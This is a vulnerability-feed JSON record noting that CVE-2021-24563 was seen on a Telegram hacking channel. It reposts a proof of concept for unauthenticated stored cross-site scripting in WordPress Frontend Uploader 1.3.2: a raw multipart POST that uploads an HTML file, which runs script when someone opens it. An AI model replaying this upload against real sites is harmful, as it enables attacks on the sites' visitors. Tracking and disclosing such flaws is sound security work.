{"uuid": "854f8a89-a615-4d92-a157-0de19db47859", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-24563", "type": "seen", "source": "https://t.me/hacking_Attack/38377", "content": "Exploit Collector\nWordPress Frontend Uploader 1.3.2 Cross Site Scripting\n\nhttps://4.bp.blogspot.com/-Nd-X_KvCLtU/WWlu3jy7alI/AAAAAAAAIIw/wd38Z8AjxRAJh0AdUZMKadOiqPJQRSLMgCLcBGAs/s1600/h101.png \nWordPress Frontend Uploader plugin version 1.3.2 suffers from a persistent cross site scripting vulnerability.\n\nMD5 | 745c79898a3cfd95a9dc57face0360b2\n\nDownload\n# Exploit Title: WordPress Plugin Frontend Uploader 1.3.2 - Stored Cross Site Scripting (XSS) (Unauthenticated)\n# Date: 10/01/2022\n# Exploit Author: Veshraj Ghimire\n# Vendor Homepage: https://wordpress.org/plugins/frontend-uploader/\n# Software Link: https://plugins.trac.wordpress.org/browser/frontend-uploader/\n# Version: 1.3.2\n# Tested on: Windows 10 - Chrome, WordPress 5.8.2\n# CVE :  CVE-2021-24563\n\n# References:\n\nhttps://www.youtube.com/watch?v=lfrLoHl4-Zs\nhttps://wpscan.com/vulnerability/e53ef41e-a176-4d00-916a-3a03835370f1\n\n# Description:\n\nThe plugin does not prevent HTML files from being uploaded via its form, allowing unauthenticated user to upload a malicious HTML file containing JavaScript for example, which will be triggered when someone access the file directly\n# Proof Of Concept:\nPOST /wp-admin/admin-ajax.php HTTP/1.1\n\nAccept:\ntext/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\n\nAccept-Language: en-GB,en;q=0.5\n\nAccept-Encoding: gzip, deflate\n\nContent-Type: multipart/form-data;\nboundary=---------------------------124662954015823207281179831654\n\nContent-Length: 1396\n\nConnection: close\n\nUpgrade-Insecure-Requests: 1\n-----------------------------124662954015823207281179831654\n\nContent-Disposition: form-data; name=\"post_ID\"\n1247\n\n-----------------------------124662954015823207281179831654\n\nContent-Disposition: form-data; name=\"post_title\"\ntest\n\n-----------------------------124662954015823207281179831654\n\nContent-Disposition: form-data; name=\"post_content\"\ntest\n\n-----------------------------124662954015823207281179831654\n\nContent-Disposition: form-data; name=\"files[]\"; filename=\"xss.html\"\n\nContent-Type: text/html\n-----------------------------124662954015823207281179831654\n\nContent-Disposition: form-data; name=\"action\"\nupload_ugc\n\n-----------------------------124662954015823207281179831654\n\nContent-Disposition: form-data; name=\"form_layout\"\nimage\n\n-----------------------------124662954015823207281179831654\n\nContent-Disposition: form-data; name=\"fu_nonce\"\n021fb612f9\n\n-----------------------------124662954015823207281179831654\n\nContent-Disposition: form-data; name=\"_wp_http_referer\"\n/wordpress/frontend-uploader-form/\n\n-----------------------------124662954015823207281179831654\n\nContent-Disposition: form-data; name=\"ff\"\n92b6cbfa6120e13ff1654e28cef2a271\n\n-----------------------------124662954015823207281179831654\n\nContent-Disposition: form-data; name=\"form_post_id\"\n1247\n\n-----------------------------124662954015823207281179831654--\nThen access the uploaded to trigger the XSS, ie https://example.com/wp-content/uploads/2021/07/xss.html\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:01:59.682282Z"}